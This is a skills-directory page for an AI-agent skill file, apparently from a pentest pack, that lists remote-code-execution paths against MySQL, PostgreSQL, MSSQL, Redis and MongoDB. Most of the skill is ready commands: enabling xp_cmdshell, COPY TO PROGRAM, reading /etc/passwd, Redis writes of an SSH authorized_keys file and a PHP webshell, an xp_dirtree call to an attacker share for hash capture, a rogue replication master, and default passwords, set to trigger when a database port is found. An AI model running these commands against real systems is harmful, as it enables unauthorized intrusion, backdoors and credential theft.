Back to skills
SKILL.md
Database
CSecurityDatabase RCE paths — UDF, xp_cmdshell, COPY TO PROGRAM, Redis key write. Use when a database service is found. Triggers - MySQL 3306, PostgreSQL 5432, MSSQL 1433, Redis 6379, MongoDB 27017.
- 1,278 stars
- 0 votes
- 0 copies
- 3 views
- Added August 31, 2026
Works with
Security analysis
63/100- Accesses sensitive system or user directories
- Accesses sensitive system or user directories
npx -y skills add s0ld13rr/pentestcode --skill database --agent claude-codeAre you the author of Database?
Add the live security badge to your README. It updates with every re-scan.
[](https://www.skillsdirectory.com/skills/s0ld13rr-database)---
name: svc-database
description: Database RCE paths — UDF, xp_cmdshell, COPY TO PROGRAM, Redis key write. Use when a database service is found. Triggers - MySQL 3306, PostgreSQL 5432, MSSQL 1433, Redis 6379, MongoDB 27017.
---
# Database — RCE & Escalation Paths
Standard enumeration (connect, list DBs, dump users) — you know this. Below is what matters.
## MySQL → RCE via UDF
Requires FILE privilege + write access to plugin dir. Upload `lib_mysqludf_sys.so` → `SELECT sys_exec('id')`.
Also: `SELECT LOAD_FILE('/etc/passwd')` for file read.
## PostgreSQL → RCE via COPY TO PROGRAM
Requires superuser: `COPY (SELECT '') TO PROGRAM 'id';`
Alternative: large object import/export for file read/write.
## MSSQL → xp_cmdshell
If disabled (common): `EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;`
Then: `EXEC xp_cmdshell 'whoami';`
Hash capture: `EXEC xp_dirtree '\\ATTACKER\share';` → catch with Responder.
## Redis no-auth → RCE (two methods)
**SSH key write:**
```
CONFIG SET dir /root/.ssh
CONFIG SET dbfilename authorized_keys
SET payload "\n\nssh-rsa AAAA...your_key...\n\n"
SAVE
```
**Webshell (if web server co-hosted):**
```
CONFIG SET dir /var/www/html
CONFIG SET dbfilename shell.php
SET payload "<?php system($_GET['cmd']); ?>"
SAVE
```
## MongoDB / Elasticsearch — no auth = full dump
Both default to no authentication. Connect and enumerate immediately.
## 2024-2025 additions
### Redis (6379) — module loading RCE (CVE-2022-0543 / Lua sandbox escape)
- **Lua sandbox escape**: Redis <7.0.5 / 6.2.7 with Lua scripting enabled. `EVAL` payload escapes sandbox → RCE. Check version; if vulnerable, `redis-cli -h <target> eval ...`.
- **Module loading (Redis 4.0+)**: `MODULE LOAD /path/to/exp_lin.so` — requires `CONFIG SET dir` + write to module dir. If `redis-server` runs as root → instant root. `redis-rogue-server.py` automates.
- **Replication RCE**: `SLAVEOF <attacker-ip> <port>` → rogue master sends malicious module. Works even without `CONFIG` perms if replication allowed.
### PostgreSQL — `COPY TO PROGRAM` / extensions
- **`postgres_fdw` / `file_fdw`**: Foreign data wrappers for file read/write without superuser in some configs.
- **`plpython3u` / `plperlu`**: Trusted languages if installed → `CREATE FUNCTION ... LANGUAGE plpython3u` → RCE.
- **CVE-2024-10979** (libpq PQescapeLiteral overflow): Client-side; affects `psql` / libpq <17.1/16.5/15.9/14.14/13.17. Check client version.
### MySQL / MariaDB — UDF / plugin abuse
- **`plugin_dir` write**: If `secure_file_priv=''` and `plugin_dir` writable → `INSTALL PLUGIN` / `CREATE FUNCTION` UDF → RCE.
- **CVE-2024-21098 / CVE-2024-21103** (Oracle MySQL): Patched in 8.0.39+. Check version if target uses Oracle MySQL.
- **MariaDB `spider` / `connect` engines**: Federated engine abuse for arbitrary file read/write.
### MSSQL — `xp_cmdshell` / CLR
- **CLR Assembly**: `CREATE ASSEMBLY` from hex bytes → `CREATE PROCEDURE ... EXTERNAL NAME` → .NET RCE. Requires `PERMISSION_SET = UNSAFE` + `TRUSTWORTHY` or `SAFE` with signing.
- **`OPENROWSET` / `OPENDATASOURCE`**: `Ad Hoc Distributed Queries` enabled → read files / execute via `Microsoft.ACE.OLEDB.12.0`.
### Default creds worth trying
MySQL: `root` (no password), `root/root`. PostgreSQL: `postgres`/(empty). MSSQL: `sa`/(empty or common).
Attribution
Related skills
View all in ai-agents →Comments
Loading comments…
Newsletter
Get the weekly list of safe new skills, and the ones we pulled.